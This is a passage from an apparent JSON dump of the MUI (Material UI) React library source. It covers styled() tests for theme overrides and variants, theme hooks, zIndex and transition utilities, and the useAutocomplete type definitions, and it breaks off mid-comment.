'rgb(0, 0, 255)',\n          },\n        },\n        components: {\n          MuiTest: {\n            variants: [\n              {\n                props: { variant: 'rect', size: 'large' },\n                style: {\n                  width: '400px',\n                  height: '400px',\n                },\n              },\n            ],\n            styleOverrides: {\n              root: {\n                width: '250px',\n              },\n              rect: {\n                height: '250px',\n              },\n            },\n          },\n        },\n      });\n\n      const testOverridesResolver = (props, styles) => [\n        styles.root,\n        props.variant && styles[props.variant],\n      ];\n\n      Test = styled('div', {\n        shouldForwardProp: (prop) => prop !== 'variant' && prop !== 'size' && prop !== 'sx',\n        name: 'MuiTest',\n        slot: 'Root',\n        overridesResolver: testOverridesResolver,\n      })`\n        width: 200px;\n        height: 300px;\n      `;\n\n      TestObj = styled('div', {\n        shouldForwardProp: (prop) => prop !== 'variant' && prop !== 'size' && prop !== 'sx',\n        name: 'MuiTest',\n        overridesResolver: testOverridesResolver,\n      })({\n        width: '200px',\n        height: '300px',\n      });\n    });\n\n    it('should support override as long as a resolver is provided', () => {\n      const CustomTest = styled('div', {\n        name: 'MuiTest',\n        slot: 'Rect',\n      })({\n        width: '200px',\n        height: '300px',\n      });\n\n      const { container } = render(\n        <ThemeProvider theme={theme}>\n          <CustomTest>Test</CustomTest>\n        </ThemeProvider>,\n      );\n\n      expect(container.firstChild).toHaveComputedStyle({\n        width: '200px',\n        height: '250px',\n      });\n    });\n\n    it('should work with specified muiOptions', () => {\n      const { container } = render(<Test>Test</Test>);\n\n      expect(container.firstChild).toHaveComputedStyle({\n        width: '200px',\n        height: '300px',\n      });\n    });\n\n    it('should work with specified muiOptions when styles are object', () => {\n      const { container } = render(<TestObj>Test</TestObj>);\n\n      expect(container.firstChild).toHaveComputedStyle({\n        width: '200px',\n        height: '300px',\n      });\n    });\n\n    it('overrides should be respected', () => {\n      const { container } = render(\n        <ThemeProvider theme={theme}>\n          <Test>Test</Test>\n        </ThemeProvider>,\n      );\n\n      expect(container.firstChild).toHaveComputedStyle({\n        width: '250px',\n        height: '300px',\n      });\n    });\n\n    it('overrides should be respected when styles are object', () => {\n      const { container } = render(\n        <ThemeProvider theme={theme}>\n          <TestObj>Test</TestObj>\n        </ThemeProvider>,\n      );\n\n      expect(container.firstChild).toHaveComputedStyle({\n        width: '250px',\n        height: '300px',\n      });\n    });\n\n    it('overrides should be respected when prop is specified', () => {\n      const { container } = render(\n        <ThemeProvider theme={theme}>\n          <Test variant=\"rect\">Test</Test>\n        </ThemeProvider>,\n      );\n\n      expect(container.firstChild).toHaveComputedStyle({\n        width: '250px',\n        height: '250px',\n      });\n    });\n\n    it('overrides should be respected when prop is specified when styles are object', () => {\n      const { container } = render(\n        <ThemeProvider theme={theme}>\n          <TestObj variant=\"rect\">Test</TestObj>\n        </ThemeProvider>,\n      );\n\n      expect(container.firstChild).toHaveComputedStyle({\n        width: '250px',\n        height: '250px',\n      });\n    });\n\n    it('variants should be skipped for non root slots', () => {\n      const TestSlot = styled('div', {\n        shouldForwardProp: (prop) => prop !== 'variant' && prop !== 'size' && prop !== 'sx',\n        name: 'MuiTest',\n        slot: 'Slot',\n      })`\n        width: 200px;\n        height: 300px;\n      `;\n\n      const { container } = render(\n        <ThemeProvider theme={theme}>\n          <TestSlot variant=\"rect\" size=\"large\">\n            Test\n          </TestSlot>\n        </ThemeProvider>,\n      );\n\n      expect(container.firstChild).toHaveComputedStyle({\n        width: '200px',\n        height: '300px',\n      });\n    });\n\n    it('variants should respect skipVariantsResolver if defined', () => {\n      const TestSlot = styled('div', {\n        shouldForwardProp: (prop) => prop !== 'variant' && prop !== 'size' && prop !== 'sx',\n        name: 'MuiTest',\n        slot: 'Slot',\n        skipVariantsResolver: false,\n      })`\n        width: 200px;\n        height: 300px;\n      `;\n\n      const { container } = render(\n        <ThemeProvider theme={theme}>\n          <TestSlot variant=\"rect\" size=\"large\">\n            Test\n          </TestSlot>\n        </ThemeProvider>,\n      );\n\n      expect(container.firstChild).toHaveComputedStyle({\n        width: '400px',\n        height: '400px',\n      });\n    });\n\n    it('variants should win over overrides', () => {\n      const { container } = render(\n        <ThemeProvider theme={theme}>\n          <Test variant=\"rect\" size=\"large\">\n            Test\n          </Test>\n        </ThemeProvider>,\n      );\n\n      expect(container.firstChild).toHaveComputedStyle({\n        width: '400px',\n        height: '400px',\n      });\n    });\n\n    it('variants should win over overrides when styles are object', () => {\n      const { container } = render(\n        <ThemeProvider theme={theme}>\n          <TestObj variant=\"rect\" size=\"large\">\n            Test\n          </TestObj>\n        </ThemeProvider>,\n      );\n\n      expect(container.firstChild).toHaveComputedStyle({\n        width: '400px',\n        height: '400px',\n      });\n    });\n\n    it('styled wrapper should win over variants', () => {\n      const CustomTest = styled(Test)`\n        width: 500px;\n      `;\n\n      const { container } = render(\n        <ThemeProvider theme={theme}>\n          <CustomTest variant=\"rect\" size=\"large\">\n            Test\n          </CustomTest>\n        </ThemeProvider>,\n      );\n\n      expect(container.firstChild).toHaveComputedStyle({\n        width: '500px',\n        height: '400px',\n      });\n    });\n\n    it('styled wrapper should win over variants when styles are object', () => {\n      const CustomTest = styled(TestObj)({\n        width: '500px',\n      });\n\n      const { container } = render(\n        <ThemeProvider theme={theme}>\n          <CustomTest variant=\"rect\" size=\"large\">\n            Test\n          </CustomTest>\n        </ThemeProvider>,\n      );\n\n      expect(container.firstChild).toHaveComputedStyle({\n        width: '500px',\n        height: '400px',\n      });\n    });\n\n    it('should resolve the sx prop', () => {\n      const { container } = render(\n        <ThemeProvider theme={theme}>\n          <Test sx={{ color: 'primary.main' }}>Test</Test>\n        </ThemeProvider>,\n      );\n\n      expect(container.firstChild).toHaveComputedStyle({\n        color: 'rgb(0, 0, 255)',\n      });\n    });\n\n    it('should resolve the sx prop when styles are object', () => {\n      const { container } = render(\n        <ThemeProvider theme={theme}>\n          <TestObj sx={{ color: 'primary.main' }}>Test</TestObj>\n        </ThemeProvider>,\n      );\n\n      expect(container.firstChild).toHaveComputedStyle({\n        color: 'rgb(0, 0, 255)',\n      });\n    });\n\n    it('should respect the skipSx option', () => {\n      const testOverridesResolver = (props, styles) => [\n        styles.root,\n        props.variant && styles[props.variant],\n      ];\n\n      const TestNoSx = styled('div', {\n        shouldForwardProp: (prop) => prop !== 'variant' && prop !== 'size' && prop !== 'sx',\n        overridesResolver: testOverridesResolver,\n        skipSx: true,\n      })(({ sx = {} }) => ({\n        ...(sx.mt && {\n          marginTop: `${sx.mt * -1}px`,\n        }),\n      }));\n\n      const { container: containerNoSx } = render(\n        <ThemeProvider theme={theme}>\n          <TestNoSx sx={{ mt: 1 }}>Test</TestNoSx>\n        </ThemeProvider>,\n      );\n\n      // sx prop ignored, custom function takes place\n      expect(containerNoSx.firstChild).toHaveComputedStyle({\n        marginTop: '-1px',\n      });\n\n      const TestWithSx = styled('div', {\n        shouldForwardProp: (prop) => prop !== 'variant' && prop !== 'size' && prop !== 'sx',\n        overridesResolver: testOverridesResolver,\n      })(({ sx = {} }) => ({\n        ...(sx.mt && {\n          marginTop: `${sx.m * -1}px`,\n        }),\n      }));\n\n      const { container: containerSxProp } = render(\n        <ThemeProvider theme={theme}>\n          <TestWithSx sx={{ mt: 1 }}>Test</TestWithSx>\n        </ThemeProvider>,\n      );\n\n      // default sx props takes place\n      expect(containerSxProp.firstChild).toHaveComputedStyle({\n        marginTop: '8px',\n      });\n    });\n\n    it('should set displayName properly', () => {\n      const Component = styled('div', {\n        shouldForwardProp: (prop) => prop !== 'variant' && prop !== 'size' && prop !== 'sx',\n        name: 'MuiComponent',\n      })`\n        width: 200px;\n        height: 300px;\n      `;\n\n      expect(Component.displayName).to.equal('MuiComponent');\n    });\n\n    it('should set displayName as name + slot if both are specified', () => {\n      const Component = styled('div', {\n        shouldForwardProp: (prop) => prop !== 'variant' && prop !== 'size' && prop !== 'sx',\n        name: 'MuiComponent',\n        slot: 'Root',\n      })`\n        width: 200px;\n        height: 300px;\n      `;\n\n      expect(Component.displayName).to.equal('MuiComponentRoot');\n    });\n\n    it('should set the className when generating the classes', () => {\n      const Component = styled('div', {\n        shouldForwardProp: (prop) => prop !== 'variant' && prop !== 'size' && prop !== 'sx',\n        name: 'MuiComponent',\n        slot: 'Slot',\n      })`\n        width: 200px;\n        height: 300px;\n      `;\n\n      const { container } = render(<Component>Test</Component>);\n\n      const classList = Array.from(container.firstChild.classList);\n      const regExp = /.*-MuiComponent-slot$/;\n      const regExpSC = /MuiComponent-slot-.*/;\n      let containsValidClass = false;\n\n      classList.forEach((className) => {\n        if (regExp.test(className) || regExpSC.test(className)) {\n          containsValidClass = true;\n        }\n      });\n\n      expect(containsValidClass).to.equal(true);\n    });\n\n    it('should set the className as root if no slot is specified', () => {\n      const Component = styled('div', {\n        shouldForwardProp: (prop) => prop !== 'variant' && prop !== 'size' && prop !== 'sx',\n        name: 'MuiComponent',\n      })`\n        width: 200px;\n        height: 300px;\n      `;\n\n      const { container } = render(<Component>Test</Component>);\n\n      const classList = Array.from(container.firstChild.classList);\n      const regExp = /.*-MuiComponent-root$/;\n      const regExpSC = /MuiComponent-root.*/;\n      let containsValidClass = false;\n\n      classList.forEach((className) => {\n        if (regExp.test(className) || regExpSC.test(className)) {\n          containsValidClass = true;\n        }\n      });\n\n      expect(containsValidClass).to.equal(true);\n    });\n\n    it('should not propagate classes props to component if it is a root slot', () => {\n      const Component = styled(\n        (props) => {\n          const { classes, ...other } = props;\n          return <div data-with-classes={classes !== undefined} {...other} />;\n        },\n        { name: 'MuiComponent', slot: 'Root' },\n      )`\n        width: 200px;\n        height: 300px;\n      `;\n\n      render(\n        <Component data-testid=\"root\" classes={{ root: 'foo' }}>\n          Test\n        </Component>,\n      );\n\n      expect(screen.getByTestId('root').getAttribute('data-with-classes')).to.equal('false');\n    });\n\n    it('should propagate classes props to component if it is not a root slot', () => {\n      const Component = styled(\n        (props) => {\n          const { classes, ...other } = props;\n          return <div data-with-classes={classes !== undefined} {...other} />;\n        },\n        { name: 'MuiComponent', slot: 'Slot' },\n      )`\n        width: 200px;\n        height: 300px;\n      `;\n\n      render(\n        <React.Fragment>\n          <Component data-testid=\"with-classes\" classes={{ root: 'foo' }}>\n            Test\n          </Component>\n          <Component data-testid=\"without-classes\">Test</Component>\n        </React.Fragment>,\n      );\n\n      expect(screen.getByTestId('with-classes').getAttribute('data-with-classes')).to.equal('true');\n      expect(screen.getByTestId('without-classes').getAttribute('data-with-classes')).to.equal(\n        'false',\n      );\n    });\n\n    it('should propagate classes props to component if no slot is specified', () => {\n      const Component = styled((props) => {\n        const { classes, ...other } = props;\n        return <div data-with-classes={classes !== undefined} {...other} />;\n      })`\n        width: 200px;\n        height: 300px;\n      `;\n\n      render(\n        <React.Fragment>\n          <Component data-testid=\"with-classes\" classes={{ root: 'foo' }}>\n            Test\n          </Component>\n          <Component data-testid=\"without-classes\">Test</Component>\n        </React.Fragment>,\n      );\n\n      expect(screen.getByTestId('with-classes').getAttribute('data-with-classes')).to.equal('true');\n      expect(screen.getByTestId('without-classes').getAttribute('data-with-classes')).to.equal(\n        'false',\n      );\n    });\n\n    it('classes props should be correctly applied to root and slot elements', () => {\n      function Child(props) {\n        const { classes = {}, className, ...other } = props;\n\n        return (\n          <div\n            data-testid=\"child\"\n            className={`${classes.root} ${className} MuiChild-root`}\n            {...other}\n          />\n        );\n      }\n\n      const ParentRoot = styled('div', { name: 'MuiParent', slot: 'Root' })``;\n      const ParentSlot = styled(Child, { name: 'MuiChild', slot: 'Slot' })``;\n\n      function Parent(props) {\n        const { classes = {}, className, ...other } = props;\n\n        return (\n          <ParentRoot\n            data-testid=\"parent\"\n            className={`${classes.root} ${className} MuiParent-root`}\n            {...other}\n          >\n            {/* The classes prop here should not be blocked by the styled() utility */}\n            <ParentSlot classes={{ root: classes.slot }} />\n          </ParentRoot>\n        );\n      }\n\n      const { container } = render(<Parent classes={{ root: 'root', slot: 'slot' }} />);\n\n      expect(\n        container.getElementsByClassName('MuiParent-root')[0]?.classList.contains('root'),\n      ).to.equal(true);\n\n      // child has the correct class\n      expect(\n        container.getElementsByClassName('MuiChild-root')[0]?.classList.contains('slot'),\n      ).to.equal(true);\n\n      // none of the elements should have the classes attribute\n      expect(container.querySelectorAll('[classes]').length).to.equal(0);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/styles/useTheme.d.ts",
    "content": "import { Theme } from './createTheme';\n\nexport default function useTheme<T = Theme>(): T;\n"
  },
  {
    "path": "packages/mui-material/src/styles/useTheme.js",
    "content": "'use client';\nimport * as React from 'react';\nimport { useTheme as useThemeSystem } from '@mui/system';\nimport defaultTheme from './defaultTheme';\nimport THEME_ID from './identifier';\n\nexport default function useTheme() {\n  const theme = useThemeSystem(defaultTheme);\n\n  if (process.env.NODE_ENV !== 'production') {\n    // TODO: uncomment once we enable eslint-plugin-react-compiler // eslint-disable-next-line react-compiler/react-compiler\n    // eslint-disable-next-line react-hooks/rules-of-hooks\n    React.useDebugValue(theme);\n  }\n\n  return theme[THEME_ID] || theme;\n}\n"
  },
  {
    "path": "packages/mui-material/src/styles/useThemeProps.d.ts",
    "content": "import { Theme } from './createTheme';\nimport { Components } from './components';\n\nexport interface ThemeWithProps {\n  components?: Components<Omit<Theme, 'components'>> | undefined;\n}\n\nexport type ThemedProps<Theme, Name extends keyof any> = Theme extends {\n  components: Record<Name, { defaultProps: infer Props }>;\n}\n  ? Props\n  : {};\n\n/**\n * Merges input `props` with the `defaultProps` for a component that were defined in the theme.\n *\n * The `defaultProps` are defined in the theme under `theme.components[componentName].defaultProps`.\n *\n * @example\n *\n * ```tsx\n * const createTheme = () => ({\n *   components: {\n *     MuiStat: {\n *       defaultProps: {\n *         variant: 'outlined',\n *       },\n *     },\n *   },\n * });\n *\n * function Stat(props) {\n *   const themeProps = useThemeProps({ props, name: 'MuiStat' });\n *   return <div {...themeProps} />;\n * }\n * ```\n *\n * @param params.props The input props\n * @param params.name The name of the component as defined in the theme\n */\nexport default function useThemeProps<\n  Theme extends ThemeWithProps,\n  Props,\n  Name extends keyof any,\n>(params: { props: Props; name: Name }): Props & ThemedProps<Theme, Name>;\n"
  },
  {
    "path": "packages/mui-material/src/styles/useThemeProps.js",
    "content": "'use client';\nimport systemUseThemeProps from '@mui/system/useThemeProps';\nimport defaultTheme from './defaultTheme';\nimport THEME_ID from './identifier';\n\nexport default function useThemeProps({ props, name }) {\n  return systemUseThemeProps({ props, name, defaultTheme, themeId: THEME_ID });\n}\n"
  },
  {
    "path": "packages/mui-material/src/styles/useThemeProps.spec.ts",
    "content": "import { Theme, useThemeProps } from '@mui/material/styles';\nimport { SliderProps } from '@mui/material/Slider';\n\nfunction ThemedComponent() {\n  const props = useThemeProps<Theme, SliderProps, 'MuiSlider'>({\n    props: { color: 'primary' },\n    name: 'MuiSlider',\n  });\n\n  // component's props are valid\n  // Only existence of props is relevant here not type.\n  props.track;\n  props.valueLabelDisplay;\n}\n"
  },
  {
    "path": "packages/mui-material/src/styles/variants.ts",
    "content": "import { Interpolation } from '@mui/system';\nimport { ComponentsPropsList } from './props';\n\nexport type ComponentsVariants<Theme = unknown> = {\n  [Name in keyof ComponentsPropsList]?: Array<{\n    props:\n      | Partial<ComponentsPropsList[Name]>\n      | ((\n          props: Partial<ComponentsPropsList[Name]> & {\n            ownerState: Partial<ComponentsPropsList[Name]>;\n          },\n        ) => boolean);\n    style: Interpolation<{ theme: Theme }>;\n  }>;\n};\n"
  },
  {
    "path": "packages/mui-material/src/styles/withStyles.d.ts",
    "content": "export default function withStyles(stylesCreator: any, options?: object): never;\n"
  },
  {
    "path": "packages/mui-material/src/styles/withStyles.js",
    "content": "export default function withStyles() {\n  throw /* minify-error */ new Error(\n    'MUI: withStyles is no longer exported from @mui/material/styles.\\n' +\n      'You have to import it from @mui/styles.\\n' +\n      'See https://mui.com/r/migration-v4/#mui-material-styles for more details.',\n  );\n}\n"
  },
  {
    "path": "packages/mui-material/src/styles/withTheme.d.ts",
    "content": "export default function withTheme(Component: any): never;\n"
  },
  {
    "path": "packages/mui-material/src/styles/withTheme.js",
    "content": "export default function withTheme() {\n  throw /* minify-error */ new Error(\n    'MUI: withTheme is no longer exported from @mui/material/styles.\\n' +\n      'You have to import it from @mui/styles.\\n' +\n      'See https://mui.com/r/migration-v4/#mui-material-styles for more details.',\n  );\n}\n"
  },
  {
    "path": "packages/mui-material/src/styles/zIndex.d.ts",
    "content": "export interface ZIndex {\n  mobileStepper: number;\n  speedDial: number;\n  appBar: number;\n  drawer: number;\n  modal: number;\n  snackbar: number;\n  tooltip: number;\n  fab: number;\n}\n\nexport type ZIndexOptions = Partial<ZIndex>;\n\ndeclare const zIndex: ZIndex;\n\nexport default zIndex;\n"
  },
  {
    "path": "packages/mui-material/src/styles/zIndex.js",
    "content": "// We need to centralize the zIndex definitions as they work\n// like global values in the browser.\nconst zIndex = {\n  mobileStepper: 1000,\n  fab: 1050,\n  speedDial: 1050,\n  appBar: 1100,\n  drawer: 1200,\n  modal: 1300,\n  snackbar: 1400,\n  tooltip: 1500,\n};\n\nexport default zIndex;\n"
  },
  {
    "path": "packages/mui-material/src/themeCssVarsAugmentation/index.ts",
    "content": "export {};\n/**\n * Enhance the theme types to include new properties from the CssVarsProvider.\n * The theme is typed with CSS variables in `styled`, `sx`, `useTheme`, etc.\n */\ndeclare module '@mui/material/styles' {\n  interface CssThemeVariables {\n    enabled: true;\n  }\n}\n"
  },
  {
    "path": "packages/mui-material/src/transitions/index.ts",
    "content": "export * from './transition';\n"
  },
  {
    "path": "packages/mui-material/src/transitions/transition.spec.tsx",
    "content": "import Collapse from '@mui/material/Collapse';\n\nconst transition = (\n  <Collapse in id=\"my-id\" style={{ margin: 2 }}>\n    <div />\n  </Collapse>\n);\n"
  },
  {
    "path": "packages/mui-material/src/transitions/transition.ts",
    "content": "import {\n  TransitionProps as _TransitionProps,\n  TransitionActions,\n} from 'react-transition-group/Transition';\nimport * as React from 'react';\n\nexport type TransitionHandlerKeys =\n  | 'onEnter'\n  | 'onEntering'\n  | 'onEntered'\n  | 'onExit'\n  | 'onExiting'\n  | 'onExited';\nexport type TransitionHandlerProps = Pick<_TransitionProps, TransitionHandlerKeys>;\n\nexport interface EasingProps {\n  easing: string | { enter?: string | undefined; exit?: string | undefined };\n}\n\nexport type TransitionKeys =\n  | 'in'\n  | 'mountOnEnter'\n  | 'unmountOnExit'\n  | 'timeout'\n  | 'easing'\n  | 'addEndListener'\n  | TransitionHandlerKeys;\nexport interface TransitionProps\n  extends\n    TransitionActions,\n    Partial<Pick<_TransitionProps & EasingProps, TransitionKeys>>,\n    React.HTMLAttributes<HTMLElement> {}\n"
  },
  {
    "path": "packages/mui-material/src/transitions/utils.ts",
    "content": "import * as React from 'react';\n\nexport const reflow = (node: Element) => node.scrollTop;\n\ninterface ComponentProps {\n  easing: string | { enter?: string | undefined; exit?: string | undefined } | undefined;\n  style: React.CSSProperties | undefined;\n  timeout: number | { enter?: number | undefined; exit?: number | undefined };\n}\n\ninterface Options {\n  mode: 'enter' | 'exit';\n}\n\ninterface TransitionProps {\n  duration: string | number;\n  easing: string | undefined;\n  delay: string | undefined;\n}\n\nexport function getTransitionProps(props: ComponentProps, options: Options): TransitionProps {\n  const { timeout, easing, style = {} } = props;\n\n  return {\n    duration:\n      style.transitionDuration ??\n      (typeof timeout === 'number' ? timeout : timeout[options.mode] || 0),\n    easing:\n      style.transitionTimingFunction ??\n      (typeof easing === 'object' ? easing[options.mode] : easing),\n    delay: style.transitionDelay,\n  };\n}\n"
  },
  {
    "path": "packages/mui-material/src/types/OverridableComponentAugmentation.ts",
    "content": "import * as React from 'react';\nimport { DistributiveOmit } from '@mui/types';\n\ndeclare module '@mui/material/OverridableComponent' {\n  /**\n   * A component whose root component can be controlled via a `component` prop.\n   *\n   * Adjusts valid props based on the type of `component`.\n   */\n  interface OverridableComponent<TypeMap extends OverridableTypeMap> {\n    <DefaultComponent extends React.ElementType>(\n      props: {\n        /**\n         * The component used for the root node.\n         * Either a string to use a HTML element or a component.\n         */\n        component: DefaultComponent;\n      } & OverridePropsVer2<TypeMap, DefaultComponent>,\n    ): React.JSX.Element;\n    (props: DefaultComponentPropsVer2<TypeMap>): React.JSX.Element;\n  }\n\n  /**\n   * Props of the component if `component={Component}` is used.\n   */\n  // prettier-ignore\n  type OverridePropsVer2<\n    TypeMap extends OverridableTypeMap,\n    RootComponent extends React.ElementType,\n  > = (\n    & BaseProps<TypeMap>\n    & DistributiveOmit<React.ComponentPropsWithoutRef<RootComponent>, keyof BaseProps<TypeMap>>\n    & { ref?: (React.Ref<Element>) | undefined }\n  );\n\n  /**\n   * Props if `component={Component}` is NOT used.\n   */\n  // prettier-ignore\n  type DefaultComponentPropsVer2<TypeMap extends OverridableTypeMap> = \n    & BaseProps<TypeMap>\n    & DistributiveOmit<React.ComponentPropsWithoutRef<TypeMap['defaultComponent']>, keyof BaseProps<TypeMap>>\n    & { ref?: (React.Ref<Element>) | undefined };\n}\n"
  },
  {
    "path": "packages/mui-material/src/useAutocomplete/index.d.ts",
    "content": "export { default } from './useAutocomplete';\nexport * from './useAutocomplete';\n"
  },
  {
    "path": "packages/mui-material/src/useAutocomplete/index.js",
    "content": "export { default, createFilterOptions } from './useAutocomplete';\n"
  },
  {
    "path": "packages/mui-material/src/useAutocomplete/useAutocomplete.d.ts",
    "content": "import * as React from 'react';\nimport { PartiallyRequired } from '@mui/types';\n\nexport interface CreateFilterOptionsConfig<Value> {\n  ignoreAccents?: boolean | undefined;\n  ignoreCase?: boolean | undefined;\n  limit?: number | undefined;\n  matchFrom?: 'any' | 'start' | undefined;\n  stringify?: ((option: Value) => string) | undefined;\n  trim?: boolean | undefined;\n}\n\nexport interface FilterOptionsState<Value> {\n  inputValue: string;\n  getOptionLabel: (option: Value) => string;\n}\n\nexport interface AutocompleteGroupedOption<Value = string> {\n  key: number;\n  index: number;\n  group: string;\n  options: Value[];\n}\n\nexport function createFilterOptions<Value>(\n  config?: CreateFilterOptionsConfig<Value>,\n): (options: Value[], state: FilterOptionsState<Value>) => Value[];\n\nexport type AutocompleteFreeSoloValueMapping<FreeSolo> = FreeSolo extends true ? string : never;\n\nexport type AutocompleteValueOrFreeSoloValueMapping<Value, FreeSolo> = FreeSolo extends true\n  ? Value | string\n  : Value;\n\nexport type AutocompleteValue<Value, Multiple, DisableClearable, FreeSolo> = Multiple extends true\n  ? Array<Value | AutocompleteFreeSoloValueMapping<FreeSolo>>\n  : DisableClearable extends true\n    ? NonNullable<Value | AutocompleteFreeSoloValueMapping<FreeSolo>>\n    : Value | null | AutocompleteFreeSoloValueMapping<FreeSolo>;\n\nexport interface UseAutocompleteProps<\n  Value,\n  Multiple extends boolean | undefined,\n  DisableClearable extends boolean | undefined,\n  FreeSolo extends boolean | undefined,\n> {\n  /**\n   * @internal The prefix of the state class name, temporary for Joy UI\n   * @default 'Mui'\n   */\n  unstable_classNamePrefix?: string | undefined;\n  /**\n   * @internal\n   * Temporary for Joy UI because the parent listbox is the document object\n   * TODO v6: Normalize the logic and remove this param.\n   */\n  unstable_isActiveElementInListbox?:\n    | ((listbox: React.RefObject<HTMLElement | null>) => boolean)\n    | undefined;\n  /**\n   * If `true`, the portion of the selected suggestion that the user hasn't typed,\n   * known as the completion string, appears inline after the input cursor in the textbox.\n   * The inline completion string is visually highlighted and has a selected state.\n   * @default false\n   */\n  autoComplete?: boolean | undefined;\n  /**\n   * If `true`, the first option is automatically highlighted.\n   * @default false\n   */\n  autoHighlight?: boolean | undefined;\n  /**\n   * If `true`, the selected option becomes the value of the input\n   * when the Autocomplete loses focus unless the user chooses\n   * a different option or changes the character string in the input.\n   *\n   * When using the `freeSolo` mode, the typed value will be the input value\n   * if the Autocomplete loses focus without highlighting an option.\n   * @default false\n   */\n  autoSelect?: boolean | undefined;\n  /**\n   * Control if the input should be blurred when an option is selected:\n   *\n   * - `false` the input is not blurred.\n   * - `true` the input is always blurred.\n   * - `touch` the input is blurred after a touch event.\n   * - `mouse` the input is blurred after a mouse event.\n   * @default false\n   */\n  blurOnSelect?: 'touch' | 'mouse' | true | false | undefined;\n  /**\n   * If `true`, the input's text is cleared on blur if no value is selected.\n   *\n   * Set it to `true` if you want to help the user enter a new value.\n   * Set it to `false` if you want to help the user resume their search.\n   * @default !props.freeSolo\n   */\n  clearOnBlur?: boolean | undefined;\n  /**\n   * If `true`, clear all values when the user presses escape and the popup is closed.\n   * @default false\n   */\n  clearOnEscape?: boolean | undefined;\n  /**\n   * The component name that is using this hook. Used for warnings.\n   */\n  componentName?: string | undefined;\n  /**\n   * The default value. Use when the component is not controlled.\n   * @default props.multiple ? [] : null\n   */\n  defaultValue?: AutocompleteValue<Value, Multiple, DisableClearable, FreeSolo> | undefined;\n  /**\n   * If `true`, the input can't be cleared.\n   * @default false\n   */\n  disableClearable?: DisableClearable | undefined;\n  /**\n   * If `true`, the popup won't close when a value is selected.\n   * @default false\n   */\n  disableCloseOnSelect?: boolean | undefined;\n  /**\n   * If `true`, the component is disabled.\n   * @default false\n   */\n  disabled?: boolean | undefined;\n  /**\n   * If `true`, will allow focus on disabled items.\n   * @default false\n   */\n  disabledItemsFocusable?: boolean | undefined;\n  /**\n   * If `true`, the list box in the popup will not wrap focus.\n   * @default false\n   */\n  disableListWrap?: boolean | undefined;\n  /**\n   * A function that determines the filtered options to be rendered on search.\n   *\n   * @default createFilterOptions()\n   * @param {Value[]} options The options to render.\n   * @param {object} state The state of the component.\n   * @returns {Value[]}\n   */\n  filterOptions?: ((options: Value[], state: FilterOptionsState<Value>) => Value[]) | undefined;\n  /**\n   * If `true`, hide the selected options from the list box.\n   * @default false\n   */\n  filterSelectedOptions?: boolean | undefined;\n  /**\n   * If `true`, the Autocomplete is free solo, meaning that the user input is not bound to provided options.\n   * @default false\n   */\n  freeSolo?: FreeSolo | undefined;\n  /**\n   * Used to determine the disabled state for a given option.\n   *\n   * @param {Value} option The option to test.\n   * @template Value The option shape. Will be the same shape as an item of the options.\n   * @returns {boolean}\n   */\n  getOptionDisabled?: ((option: Value) => boolean) | undefined;\n  /**\n   * Used to determine the key for a given option.\n   * This can be useful when the labels of options are not unique (since labels are used as keys by default).\n   *\n   * @param {Value} option The option to get the key for.\n   * @returns {string | number}\n   */\n  getOptionKey?:\n    | ((option: Value | AutocompleteFreeSoloValueMapping<FreeSolo>) => string | number)\n    | undefined;\n  /**\n   * Used to determine the string value for a given option.\n   * It's used to fill the input (and the list box options if `renderOption` is not provided).\n   *\n   * If used in free solo mode, it must accept both the type of the options and a string.\n   *\n   * @param {Value|string} option\n   * @returns {string}\n   * @default (option) => option.label ?? option\n   */\n  getOptionLabel?:\n    | ((option: AutocompleteValueOrFreeSoloValueMapping<Value, FreeSolo>) => string)\n    | undefined;\n  /**\n   * If provided, the options will be grouped under the returned string.\n   * The groupBy value is also used as the text for group headings when `renderGroup` is not provided.\n   *\n   * @param {Value} option The Autocomplete option.\n   * @returns {string}\n   */\n  groupBy?: ((option: Value) => string) | undefined;\n\n  /**\n   * If `true`, the component handles the \"Home\" and \"End\" keys when the popup is open.\n   * It should move focus to the first option and last option, respectively.\n   * @default !props.freeSolo\n   */\n  handleHomeEndKeys?: boolean | undefined;\n  /**\n   * This prop is used to help implement the accessibility logic.\n   * If you don't provide an id it will fall back to a randomly generated one.\n   */\n  id?: string | undefined;\n  /**\n   * If `true`, the highlight can move to the input.\n   * @default false\n   */\n  includeInputInList?: boolean | undefined;\n  /**\n   * The input value.\n   */\n  inputValue?: string | undefined;\n  /**\n   * Used to determine if the option represents the given value.\n   * Uses strict equality by default.\n   * ⚠️ Both arguments need to be handled, an option can only match with one value.\n   *\n   * @param {Value} option The option to test.\n   * @param {Value|string} value The value to test against.\n   * @returns {boolean}\n   */\n  isOptionEqualToValue?:\n    | ((option: Value, value: AutocompleteValueOrFreeSoloValueMapping<Value, FreeSolo>) => boolean)\n    | undefined;\n  /**\n   * If `true`, `value` must be an array and the menu will support multiple selections.\n   * @default false\n   */\n  multiple?: Multiple | undefined;\n  /**\n   * Callback fired when the value changes.\n   *\n   * @param {React.SyntheticEvent} event The event source of the callback.\n   * @param {Value|Value[]} value The new value of the component.\n   * @param {string} reason One of \"createOption\", \"selectOption\", \"removeOption\", \"blur\" or \"clear\".\n   * @param {string} [details]\n   */\n  onChange?:\n    | ((\n        event: React.SyntheticEvent,\n        value: AutocompleteValue<Value, Multiple, DisableClearable, FreeSolo>,\n        reason: AutocompleteChangeReason,\n        details?: AutocompleteChangeDetails<Value>,\n      ) => void)\n    | undefined;\n  /**\n   * Callback fired when the popup requests to be closed.\n   * Use in controlled mode (see open).\n   *\n   * @param {React.SyntheticEvent} event The event source of the callback.\n   * @param {string} reason Can be: `\"toggleInput\"`, `\"escape\"`, `\"selectOption\"`, `\"removeOption\"`, `\"blur\"`.\n   */\n  onClose?: ((event: React.SyntheticEvent, reason: AutocompleteCloseReason) => void) | undefined;\n  /**\n   * Callback fired when the highlight option changes.\n   *\n   * @param {React.SyntheticEvent} event The event source of the callback.\n   * @param {Value} option The highlighted option.\n   * @param {string} reason Can be: `\"keyboard\"`, `\"mouse\"`, `\"touch\"`.\n   */\n  onHighlightChange?:\n    | ((\n        event: React.SyntheticEvent,\n        option: Value | null,\n        reason: AutocompleteHighlightChangeReason,\n      ) => void)\n    | undefined;\n  /**\n   * Callback fired when the input value changes.\n   *\n   * @param {React.SyntheticEvent} event The event source of the callback.\n   * @param {string} value The new value of the text input.\n   * @param {string} reason Can be: `\"input\"` (user input), `\"reset\"` (programmatic change), `\"clear\"`, `\"blur\"`, `\"selectOption\"`, `\"removeOption\"`\n   */\n  onInputChange?:\n    | ((event: React.SyntheticEvent, value: string, reason: AutocompleteInputChangeReason) => void)\n    | undefined;\n  /**\n   * Callback fired 